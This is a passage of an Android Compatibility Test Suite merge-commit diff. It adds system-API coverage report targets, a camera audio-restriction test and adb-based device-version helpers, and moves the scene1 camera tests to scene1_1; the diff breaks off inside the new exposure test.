Merge "CTS secondary_user: CtsAndroidTestBaseCurrentApiSignatureTestCases" am: 89c37d9bde am: 836f368a97
am: ee23bf24bd

Change-Id: I0be4b7cba17941bd0099f07e0de5300e8d032e0e
diff --git a/.gitignore b/.gitignore
index 33bfd97..ff66172 100644
--- a/.gitignore
+++ b/.gitignore
@@ -9,3 +9,6 @@
 *.iml
 *.class
 *.sw*
+
+# Jars added by Idea's "Konfigure kotlin in project" action
+**/lib/kotlin-*.jar
\ No newline at end of file
diff --git a/CtsCoverage.mk b/CtsCoverage.mk
index 0ac533b..3c065c8 100644
--- a/CtsCoverage.mk
+++ b/CtsCoverage.mk
@@ -31,12 +31,17 @@
 		$(hide) mkdir -p $(dir $@)
 		$(hide) $(ACP)  $< $@
 
+system_api_xml_description := $(TARGET_OUT_COMMON_INTERMEDIATES)/system-api.xml
+
 cts-test-coverage-report := $(coverage_out)/test-coverage.html
+cts-system-api-coverage-report := $(coverage_out)/system-api-coverage.html
+cts-system-api-xml-coverage-report := $(coverage_out)/system-api-coverage.xml
 cts-verifier-coverage-report := $(coverage_out)/verifier-coverage.html
 cts-combined-coverage-report := $(coverage_out)/combined-coverage.html
 cts-combined-xml-coverage-report := $(coverage_out)/combined-coverage.xml
 
 cts_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(api_xml_description) $(napi_xml_description)
+cts_system_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(system_api_xml_description)
 
 android_cts_zip := $(HOST_OUT)/cts/android-cts.zip
 cts_verifier_apk := $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk
@@ -50,6 +55,24 @@
 	$(call generate-coverage-report-cts,"CTS Tests API-NDK Coverage Report",\
 			$(PRIVATE_TEST_CASES),html)
 
+$(cts-system-api-coverage-report): PRIVATE_TEST_CASES := $(COMPATIBILITY_TESTCASES_OUT_cts)
+$(cts-system-api-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
+$(cts-system-api-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
+$(cts-system-api-coverage-report): PRIVATE_API_XML_DESC := $(system_api_xml_description)
+$(cts-system-api-coverage-report): PRIVATE_NAPI_XML_DESC := ""
+$(cts-system-api-coverage-report) : $(android_cts_zip) $(cts_system_api_coverage_dependencies) | $(ACP)
+	$(call generate-coverage-report-cts,"CTS System API Coverage Report",\
+			$(PRIVATE_TEST_CASES),html)
+
+$(cts-system-api-xml-coverage-report): PRIVATE_TEST_CASES := $(COMPATIBILITY_TESTCASES_OUT_cts)
+$(cts-system-api-xml-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
+$(cts-system-api-xml-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
+$(cts-system-api-xml-coverage-report): PRIVATE_API_XML_DESC := $(system_api_xml_description)
+$(cts-system-api-xml-coverage-report): PRIVATE_NAPI_XML_DESC := ""
+$(cts-system-api-xml-coverage-report) : $(android_cts_zip) $(cts_system_api_coverage_dependencies) | $(ACP)
+	$(call generate-coverage-report-cts,"CTS System API Coverage Report - XML",\
+			$(PRIVATE_TEST_CASES),xml)
+
 $(cts-verifier-coverage-report): PRIVATE_TEST_CASES := $(cts_verifier_apk)
 $(cts-verifier-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
 $(cts-verifier-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
@@ -80,6 +103,12 @@
 .PHONY: cts-test-coverage
 cts-test-coverage : $(cts-test-coverage-report)
 
+.PHONY: cts-system-api-coverage
+cts-system-api-coverage : $(cts-system-api-coverage-report)
+
+.PHONY: cts-system-api-xml-coverage
+cts-system-api-xml-coverage : $(cts-system-api-xml-coverage-report)
+
 .PHONY: cts-verifier-coverage
 cts-verifier-coverage : $(cts-verifier-coverage-report)
 
@@ -94,6 +123,8 @@
 
 # Put the test coverage report in the dist dir if "cts-api-coverage" is among the build goals.
 $(call dist-for-goals, cts-api-coverage, $(cts-test-coverage-report):cts-test-coverage-report.html)
+$(call dist-for-goals, cts-api-coverage, $(cts-system-api-coverage-report):cts-system-api-coverage-report.html)
+$(call dist-for-goals, cts-api-coverage, $(cts-system-api-xml-coverage-report):cts-system-api-coverage-report.xml)
 $(call dist-for-goals, cts-api-coverage, $(cts-verifier-coverage-report):cts-verifier-coverage-report.html)
 $(call dist-for-goals, cts-api-coverage, $(cts-combined-coverage-report):cts-combined-coverage-report.html)
 $(call dist-for-goals, cts-api-coverage, $(cts-combined-xml-coverage-report):cts-combined-coverage-report.xml)
@@ -110,12 +141,16 @@
 
 # Reset temp vars
 cts_api_coverage_dependencies :=
+cts_system_api_coverage_dependencies :=
 cts-combined-coverage-report :=
 cts-combined-xml-coverage-report :=
 cts-verifier-coverage-report :=
 cts-test-coverage-report :=
+cts-system-api-coverage-report :=
+cts-system-api-xml-coverage-report :=
 api_xml_description :=
 api_text_description :=
+system_api_xml_description :=
 napi_xml_description :=
 napi_text_description :=
 coverage_out :=
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index 39a0f35..29f027e 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -1,5 +1,6 @@
 [Builtin Hooks]
 clang_format = true
+xmllint = true
 
 [Builtin Hooks Options]
 clang_format = --commit ${PREUPLOAD_COMMIT} --style file --extensions c,h,cc,cpp
@@ -10,6 +11,7 @@
                   -fw apps/CtsVerifier/src/com/android/cts/verifier/usb/
                       apps/CtsVerifierUSBCompanion/
                       libs/
+                      tests/app/
                       tests/autofillservice/
                       tests/contentcaptureservice/
                       tests/tests/animation/
diff --git a/apps/CameraITS/CameraITS.pdf b/apps/CameraITS/CameraITS.pdf
index 5f1e481..f45d652 100644
--- a/apps/CameraITS/CameraITS.pdf
+++ b/apps/CameraITS/CameraITS.pdf
Binary files differ
diff --git a/apps/CameraITS/build/envsetup.sh b/apps/CameraITS/build/envsetup.sh
index ae12e10..6dcdf79 100644
--- a/apps/CameraITS/build/envsetup.sh
+++ b/apps/CameraITS/build/envsetup.sh
@@ -31,7 +31,7 @@
 python -V 2>&1 | grep -q "Python 2.7" || \
     echo ">> Require python 2.7" >&2
 
-for M in numpy PIL matplotlib scipy.stats scipy.spatial
+for M in numpy PIL matplotlib scipy.stats scipy.spatial serial
 do
     python -c "import $M" >/dev/null 2>&1 || \
         echo ">> Require Python $M module" >&2
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 3311318..bc1d3a6 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -27,6 +27,7 @@
 
 from collections import namedtuple
 
+
 class ItsSession(object):
     """Controls a device over adb to run ITS scripts.
 
@@ -320,6 +321,23 @@
         if data['tag'] != 'vibrationStarted':
             raise its.error.Error('Invalid command response')
 
+    def set_audio_restriction(self, mode):
+        """Set the audio restriction mode for this camera device.
+
+        Args:
+            mode: the audio restriction mode. See CameraDevice.java for valid
+                  value.
+        Returns:
+            Nothing.
+        """
+        cmd = {}
+        cmd["cmdName"] = "setAudioRestriction"
+        cmd["mode"] = mode
+        self.sock.send(json.dumps(cmd) + "\n")
+        data,_ = self.__read_response_from_socket()
+        if data["tag"] != "audioRestrictionSet":
+            raise its.error.Error("Invalid command response")
+
     def get_sensors(self):
         """Get all sensors on the device.
 
@@ -1091,7 +1109,7 @@
     return device_bfp
 
 def parse_camera_ids(ids):
-    """ Parse the string of camera IDs into array of CameraIdCombo tuples.
+    """Parse the string of camera IDs into array of CameraIdCombo tuples.
     """
     CameraIdCombo = namedtuple('CameraIdCombo', ['id', 'sub_id'])
     id_combos = []
@@ -1105,6 +1123,35 @@
             assert(False), 'Camera id parameters must be either ID, or ID:SUB_ID'
     return id_combos
 
+
+def get_build_sdk_version(device_id=None):
+    """Get the build version of the device."""
+    if not device_id:
+        device_id = get_device_id()
+    cmd = 'adb -s %s shell getprop ro.build.version.sdk' % device_id
+    try:
+        build_sdk_version = int(subprocess.check_output(cmd.split()).rstrip())
+        print 'Build SDK version: %d' % build_sdk_version
+    except (subprocess.CalledProcessError, ValueError):
+        print 'No build_sdk_version.'
+        assert 0
+    return build_sdk_version
+
+
+def get_first_api_level(device_id=None):
+    """Get the first API level for device."""
+    if not device_id:
+        device_id = get_device_id()
+    cmd = 'adb -s %s shell getprop ro.product.first_api_level' % device_id
+    try:
+        first_api_level = int(subprocess.check_output(cmd.split()).rstrip())
+        print 'First API level: %d' % first_api_level
+    except (subprocess.CalledProcessError, ValueError):
+        print 'No first_api_level. Setting to build version.'
+        first_api_level = get_build_sdk_version(device_id)
+    return first_api_level
+
+
 def _run(cmd):
     """Replacement for os.system, with hiding of stdout+stderr messages.
     """
diff --git a/apps/CameraITS/tests/scene0/test_audio_restriction.py b/apps/CameraITS/tests/scene0/test_audio_restriction.py
new file mode 100644
index 0000000..c771381
--- /dev/null
+++ b/apps/CameraITS/tests/scene0/test_audio_restriction.py
@@ -0,0 +1,100 @@
+# Copyright 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import math
+import os.path
+import time
+
+import its.caps
+import its.device
+import matplotlib
+from matplotlib import pylab
+import numpy as np
+
+NAME = os.path.basename(__file__).split(".")[0]
+
+# if the var(x) > var(stable) * this threshold, then device is considered vibrated
+# Test results shows the variance difference is larger for higher sampling frequency
+# This threshold is good enough for 50hz samples.
+THRESHOLD_VIBRATION_VAR = 10.0
+
+# Match CameraDevice.java constant
+AUDIO_RESTRICTION_NONE = 0
+AUDIO_RESTRICTION_VIBRATION = 1
+AUDIO_RESTRICTION_VIBRATION_SOUND = 2
+
+# The sleep time between vibrator on/off to avoid getting some residual vibrations
+SLEEP_BETWEEN_SAMPLES_SEC = 0.5
+# The sleep time to collect sensor samples
+SLEEP_COLLECT_SAMPLES_SEC = 1.0
+
+def calc_magnitude(e):
+    x = e["x"]
+    y = e["y"]
+    z = e["z"]
+    return math.sqrt(x*x + y*y + z*z)
+
+def main():
+    """Test vibrations can be muted by the camera audio restriction API."""
+
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        props = cam.override_with_hidden_physical_camera_props(props)
+        sensors = cam.get_sensors()
+
+        its.caps.skip_unless(sensors.get("accel") and sensors.get("vibrator"))
+
+        cam.start_sensor_events()
+        pattern_ms = [0, 1000]
+        cam.do_vibrate(pattern_ms)
+        test_length_second = sum(pattern_ms) / 1000
+        time.sleep(test_length_second)
+        events = cam.get_sensor_events()
+        print "Accelerometer events over %ds: %d " % (test_length_second, len(events["accel"]))
+        times_ms = [e["time"]/float(1e6) for e in events["accel"]]
+        t0 = times_ms[0]
+        times_ms = [t - t0 for t in times_ms]
+        magnitudes = [calc_magnitude(e) for e in events["accel"]]
+        var_w_vibration = np.var(magnitudes)
+
+        time.sleep(SLEEP_BETWEEN_SAMPLES_SEC)
+        cam.start_sensor_events()
+        time.sleep(SLEEP_COLLECT_SAMPLES_SEC)
+        events = cam.get_sensor_events()
+        magnitudes = [calc_magnitude(e) for e in events["accel"]]
+        var_wo_vibration = np.var(magnitudes)
+
+        if var_w_vibration < var_wo_vibration * THRESHOLD_VIBRATION_VAR:
+            print "Warning: unable to detect vibration, variance w/wo vibration too close:"\
+                    " %f/%f. Make sure device is on non-dampening surface" % (
+                    var_w_vibration, var_wo_vibration)
+
+        time.sleep(SLEEP_BETWEEN_SAMPLES_SEC)
+        cam.start_sensor_events()
+        cam.set_audio_restriction(AUDIO_RESTRICTION_VIBRATION)
+        cam.do_vibrate(pattern_ms)
+        time.sleep(SLEEP_COLLECT_SAMPLES_SEC)
+        events = cam.get_sensor_events()
+        magnitudes = [calc_magnitude(e) for e in events["accel"]]
+        var_w_vibration_restricted = np.var(magnitudes)
+
+        print "Accel variance with/without/restricted vibration (%f, %f, %f)" % (
+                var_w_vibration, var_wo_vibration, var_w_vibration_restricted)
+
+        e_msg = "Device vibrated while vibration is muted"
+        assert var_w_vibration_restricted < var_wo_vibration * THRESHOLD_VIBRATION_VAR, e_msg
+
+if __name__ == "__main__":
+    main()
+
diff --git a/apps/CameraITS/tests/scene0/test_sensor_events.py b/apps/CameraITS/tests/scene0/test_sensor_events.py
index cc0e647..d35ae11 100644
--- a/apps/CameraITS/tests/scene0/test_sensor_events.py
+++ b/apps/CameraITS/tests/scene0/test_sensor_events.py
@@ -36,10 +36,11 @@
         print "Events over 1s: %d gyro, %d accel, %d mag"%(
                 len(events["gyro"]), len(events["accel"]), len(events["mag"]))
         for key, existing in sensors.iteritems():
-            if existing:
-                e_msg = 'Sensor %s has no events!' % key
+            # Vibrator does not return any sensor event. b/142653973
+            if existing and key != "vibrator":
+                e_msg = "Sensor %s has no events!" % key
                 assert len(events[key]) > 0, e_msg
 
-if __name__ == '__main__':
+if __name__ == "__main__":
     main()
 
diff --git a/apps/CameraITS/tests/scene0/test_unified_timestamps.py b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
index 008351d..e377feb 100644
--- a/apps/CameraITS/tests/scene0/test_unified_timestamps.py
+++ b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
@@ -25,6 +25,7 @@
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
+        props = cam.override_with_hidden_physical_camera_props(props)
 
         # Only run test if the appropriate caps are claimed.
         its.caps.skip_unless(its.caps.sensor_fusion(props) and
@@ -47,7 +48,8 @@
         ts_sensor_first = {}
         ts_sensor_last = {}
         for sensor, existing in sensors.iteritems():
-            if existing:
+            # Vibrator doesn't generate outputs: b/142653973
+            if existing and sensor != 'vibrator':
                 assert events[sensor], '%s sensor has no events!' % sensor
                 ts_sensor_first[sensor] = events[sensor][0]['time']
                 ts_sensor_last[sensor] = events[sensor][-1]['time']
@@ -60,7 +62,7 @@
 
         # The motion timestamps must be between the two image timestamps.
         for sensor, existing in sensors.iteritems():
-            if existing:
+            if existing and sensor != 'vibrator':
                 print '%s timestamps: %d %d' % (sensor, ts_sensor_first[sensor],
                                                 ts_sensor_last[sensor])
                 assert ts_image0 < ts_sensor_first[sensor] < ts_image1
diff --git a/apps/CameraITS/tests/scene1/test_exposure.py b/apps/CameraITS/tests/scene1/test_exposure.py
deleted file mode 100644
index a13f020..0000000
--- a/apps/CameraITS/tests/scene1/test_exposure.py
+++ /dev/null
@@ -1,204 +0,0 @@
-# Copyright 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-import matplotlib
-from matplotlib import pylab
-import numpy
-
-IMG_STATS_GRID = 9  # find used to find the center 11.11%
-NAME = os.path.basename(__file__).split('.')[0]
-THRESHOLD_MAX_OUTLIER_DIFF = 0.1
-THRESHOLD_MIN_LEVEL = 0.1
-THRESHOLD_MAX_LEVEL = 0.9
-THRESHOLD_MAX_LEVEL_DIFF = 0.045
-THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE = 0.06
-THRESH_ROUND_DOWN_GAIN = 0.1
-THRESH_ROUND_DOWN_EXP = 0.03
-THRESH_ROUND_DOWN_EXP0 = 1.00  # tol at 0ms exp; theoretical limit @ 4-line exp
-THRESH_EXP_KNEE = 6E6  # exposures less than knee have relaxed tol
-
-
-def get_raw_active_array_size(props):
-    """Return the active array w, h from props."""
-    aaw = (props['android.sensor.info.preCorrectionActiveArraySize']['right'] -
-           props['android.sensor.info.preCorrectionActiveArraySize']['left'])
-    aah = (props['android.sensor.info.preCorrectionActiveArraySize']['bottom'] -
-           props['android.sensor.info.preCorrectionActiveArraySize']['top'])
-    return aaw, aah
-
-
-def main():
-    """Test that a constant exposure is seen as ISO and exposure time vary.
-
-    Take a series of shots that have ISO and exposure time chosen to balance
-    each other; result should be the same brightness, but over the sequence
-    the images should get noisier.
-    """
-    mults = []
-    r_means = []
-    g_means = []
-    b_means = []
-    raw_r_means = []
-    raw_gr_means = []
-    raw_gb_means = []
-    raw_b_means = []
-    threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF
-
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.compute_target_exposure(props))
-        sync_latency = its.caps.sync_latency(props)
-        process_raw = its.caps.raw16(props) and its.caps.manual_sensor(props)
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv['width'], largest_yuv['height'])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
-
-        e, s = its.target.get_target_exposure_combos(cam)['minSensitivity']
-        s_e_product = s*e
-        expt_range = props['android.sensor.info.exposureTimeRange']
-        sens_range = props['android.sensor.info.sensitivityRange']
-
-        m = 1.0
-        while s*m < sens_range[1] and e/m > expt_range[0]:
-            mults.append(m)
-            s_test = round(s*m)
-            e_test = s_e_product / s_test
-            print 'Testing s:', s_test, 'e:', e_test
-            req = its.objects.manual_capture_request(
-                    s_test, e_test, 0.0, True, props)
-            cap = its.device.do_capture_with_latency(
-                    cam, req, sync_latency, fmt)
-            s_res = cap['metadata']['android.sensor.sensitivity']
-            e_res = cap['metadata']['android.sensor.exposureTime']
-            # determine exposure tolerance based on exposure time
-            if e_test >= THRESH_EXP_KNEE:
-                thresh_round_down_exp = THRESH_ROUND_DOWN_EXP
-            else:
-                thresh_round_down_exp = (
-                        THRESH_ROUND_DOWN_EXP +
-                        (THRESH_ROUND_DOWN_EXP0 - THRESH_ROUND_DOWN_EXP) *
-                        (THRESH_EXP_KNEE - e_test) / THRESH_EXP_KNEE)
-            s_msg = 's_write: %d, s_read: %d, TOL=%.f%%' % (
-                    s_test, s_res, THRESH_ROUND_DOWN_GAIN*100)
-            e_msg = 'e_write: %.3fms, e_read: %.3fms, TOL=%.f%%' % (
-                    e_test/1.0E6, e_res/1.0E6, thresh_round_down_exp*100)
-            assert 0 <= s_test - s_res < s_test * THRESH_ROUND_DOWN_GAIN, s_msg
-            assert 0 <= e_test - e_res < e_test * thresh_round_down_exp, e_msg
-            s_e_product_res = s_res * e_res
-            request_result_ratio = float(s_e_product) / s_e_product_res
-            print 'Capture result s:', s_res, 'e:', e_res
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(img, '%s_mult=%3.2f.jpg' % (NAME, m))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb_means = its.image.compute_image_means(tile)
-            # Adjust for the difference between request and result
-            r_means.append(rgb_means[0] * request_result_ratio)
-            g_means.append(rgb_means[1] * request_result_ratio)
-            b_means.append(rgb_means[2] * request_result_ratio)
-            # do same in RAW space if possible
-            if process_raw and debug:
-                aaw, aah = get_raw_active_array_size(props)
-                fmt_raw = {'format': 'rawStats',
-                           'gridWidth': aaw/IMG_STATS_GRID,
-                           'gridHeight': aah/IMG_STATS_GRID}
-                raw_cap = its.device.do_capture_with_latency(
-                        cam, req, sync_latency, fmt_raw)
-                r, gr, gb, b = its.image.convert_capture_to_planes(
-                        raw_cap, props)
-                raw_r_means.append(r[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
-                                   * request_result_ratio)
-                raw_gr_means.append(gr[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
-                                    * request_result_ratio)
-                raw_gb_means.append(gb[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
-                                    * request_result_ratio)
-                raw_b_means.append(b[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
-                                   * request_result_ratio)
-            # Test 3 steps per 2x gain
-            m *= pow(2, 1.0 / 3)
-
-        # Allow more threshold for devices with wider exposure range
-        if m >= 64.0:
-            threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE
-
-    # Draw plots
-    pylab.figure('rgb data')
-    pylab.plot(mults, r_means, 'ro-')
-    pylab.plot(mults, g_means, 'go-')
-    pylab.plot(mults, b_means, 'bo-')
-    pylab.title(NAME + 'RGB Data')
-    pylab.xlabel('Gain Multiplier')
-    pylab.ylabel('Normalized RGB Plane Avg')
-    pylab.ylim([0, 1])
-    matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
-
-    if process_raw and debug:
-        pylab.figure('raw data')
-        pylab.plot(mults, raw_r_means, 'ro-', label='R')
-        pylab.plot(mults, raw_gr_means, 'go-', label='GR')
-        pylab.plot(mults, raw_gb_means, 'ko-', label='GB')
-        pylab.plot(mults, raw_b_means, 'bo-', label='B')
-        pylab.title(NAME + 'RAW Data')
-        pylab.xlabel('Gain Multiplier')
-        pylab.ylabel('Normalized RAW Plane Avg')
-        pylab.ylim([0, 1])
-        pylab.legend(numpoints=1)
-        matplotlib.pyplot.savefig('%s_plot_raw_means.png' % (NAME))
-
-    # Check for linearity. Verify sample pixel mean values are close to each
-    # other. Also ensure that the images aren't clamped to 0 or 1
-    # (which would make them look like flat lines).
-    for chan in xrange(3):
-        values = [r_means, g_means, b_means][chan]
-        m, b = numpy.polyfit(mults, values, 1).tolist()
-        max_val = max(values)
-        min_val = min(values)
-        max_diff = max_val - min_val
-        print 'Channel %d line fit (y = mx+b): m = %f, b = %f' % (chan, m, b)
-        print 'Channel max %f min %f diff %f' % (max_val, min_val, max_diff)
-        assert max_diff < threshold_max_level_diff
-        assert b > THRESHOLD_MIN_LEVEL and b < THRESHOLD_MAX_LEVEL
-        for v in values:
-            assert v > THRESHOLD_MIN_LEVEL and v < THRESHOLD_MAX_LEVEL
-            assert abs(v - b) < THRESHOLD_MAX_OUTLIER_DIFF
-    if process_raw and debug:
-        for chan in xrange(4):
-            values = [raw_r_means, raw_gr_means, raw_gb_means,
-                      raw_b_means][chan]
-            m, b = numpy.polyfit(mults, values, 1).tolist()
-            max_val = max(values)
-            min_val = min(values)
-            max_diff = max_val - min_val
-            print 'Channel %d line fit (y = mx+b): m = %f, b = %f' % (chan,
-                                                                      m, b)
-            print 'Channel max %f min %f diff %f' % (max_val, min_val, max_diff)
-            assert max_diff < threshold_max_level_diff
-            assert b > THRESHOLD_MIN_LEVEL and b < THRESHOLD_MAX_LEVEL
-            for v in values:
-                assert v > THRESHOLD_MIN_LEVEL and v < THRESHOLD_MAX_LEVEL
-                assert abs(v - b) < THRESHOLD_MAX_OUTLIER_DIFF
-
-if __name__ == '__main__':
-    main()
diff --git a/apps/CameraITS/tests/scene1/scene1.pdf b/apps/CameraITS/tests/scene1_1/scene1_1.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene1/scene1.pdf
rename to apps/CameraITS/tests/scene1_1/scene1_1.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/scene1_0.5_scaled.pdf b/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene1/scene1_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/scene1_0.67_scaled.pdf b/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene1/scene1_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/test_3a.py b/apps/CameraITS/tests/scene1_1/test_3a.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_3a.py
rename to apps/CameraITS/tests/scene1_1/test_3a.py
diff --git a/apps/CameraITS/tests/scene1/test_ae_af.py b/apps/CameraITS/tests/scene1_1/test_ae_af.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_ae_af.py
rename to apps/CameraITS/tests/scene1_1/test_ae_af.py
diff --git a/apps/CameraITS/tests/scene1/test_ae_precapture_trigger.py b/apps/CameraITS/tests/scene1_1/test_ae_precapture_trigger.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_ae_precapture_trigger.py
rename to apps/CameraITS/tests/scene1_1/test_ae_precapture_trigger.py
diff --git a/apps/CameraITS/tests/scene1/test_auto_vs_manual.py b/apps/CameraITS/tests/scene1_1/test_auto_vs_manual.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_auto_vs_manual.py
rename to apps/CameraITS/tests/scene1_1/test_auto_vs_manual.py
diff --git a/apps/CameraITS/tests/scene1/test_black_white.py b/apps/CameraITS/tests/scene1_1/test_black_white.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_black_white.py
rename to apps/CameraITS/tests/scene1_1/test_black_white.py
diff --git a/apps/CameraITS/tests/scene1/test_burst_sameness_manual.py b/apps/CameraITS/tests/scene1_1/test_burst_sameness_manual.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_burst_sameness_manual.py
rename to apps/CameraITS/tests/scene1_1/test_burst_sameness_manual.py
diff --git a/apps/CameraITS/tests/scene1/test_capture_result.py b/apps/CameraITS/tests/scene1_1/test_capture_result.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_capture_result.py
rename to apps/CameraITS/tests/scene1_1/test_capture_result.py
diff --git a/apps/CameraITS/tests/scene1/test_channel_saturation.py b/apps/CameraITS/tests/scene1_1/test_channel_saturation.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_channel_saturation.py
rename to apps/CameraITS/tests/scene1_1/test_channel_saturation.py
diff --git a/apps/CameraITS/tests/scene1/test_crop_region_raw.py b/apps/CameraITS/tests/scene1_1/test_crop_region_raw.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_crop_region_raw.py
rename to apps/CameraITS/tests/scene1_1/test_crop_region_raw.py
diff --git a/apps/CameraITS/tests/scene1/test_crop_regions.py b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_crop_regions.py
rename to apps/CameraITS/tests/scene1_1/test_crop_regions.py
diff --git a/apps/CameraITS/tests/scene1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_dng_noise_model.py
rename to apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
diff --git a/apps/CameraITS/tests/scene1/test_ev_compensation_advanced.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_ev_compensation_advanced.py
rename to apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
diff --git a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
rename to apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
diff --git a/apps/CameraITS/tests/scene1_1/test_exposure.py b/apps/CameraITS/tests/scene1_1/test_exposure.py
new file mode 100644
index 0000000..bf52d6f
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_1/test_exposure.py
@@ -0,0 +1,220 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os.path
+
+import its.caps
+import its.device
+import its.image
+import its.objects
+import its.target
+import matplotlib
+from matplotlib import pylab
+import numpy
+
+IMG_STATS_GRID = 9  # find used to find the center 11.11%
+NAME = os.path.basename(__file__).split('.')[0]
+NUM_PTS_2X_GAIN = 3  # 3 points every 2x increase in gain
+THRESHOLD_MAX_OUTLIER_DIFF = 0.1
+THRESHOLD_MIN_LEVEL = 0.1
+THRESHOLD_MAX_LEVEL = 0.9
+THRESHOLD_MAX_LEVEL_DIFF = 0.045
+THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE = 0.06
+THRESH_ROUND_DOWN_GAIN = 0.1
+THRESH_ROUND_DOWN_EXP = 0.03
+THRESH_ROUND_DOWN_EXP0 = 1.00  # tol at 0ms exp; theoretical limit @ 4-line exp
+THRESH_EXP_KNEE = 6E6  # exposures less than knee have relaxed tol
+
+
+def find_fit_and_check(chan, mults, values, thresh_max_level_diff):
+    """Find line fit and check values.
+
+    Check for linearity. Verify sample pixel mean values are close to each
+    other. Also ensure that the images aren't clamped to 0 or 1
+    (which would make them look like flat lines).
+
+    Args:
+        chan:                   [0:2] RGB channel
+        mults:                  list of multiplication values for gain*m, exp/m
+        values:                 mean values for chan
+        thresh_max_level_diff:  threshold for max difference
+    """
+
+    m, b = numpy.polyfit(mults, values, 1).tolist()
+    max_val = max(values)
+    min_val = min(values)
+    max_diff = max_val - min_val
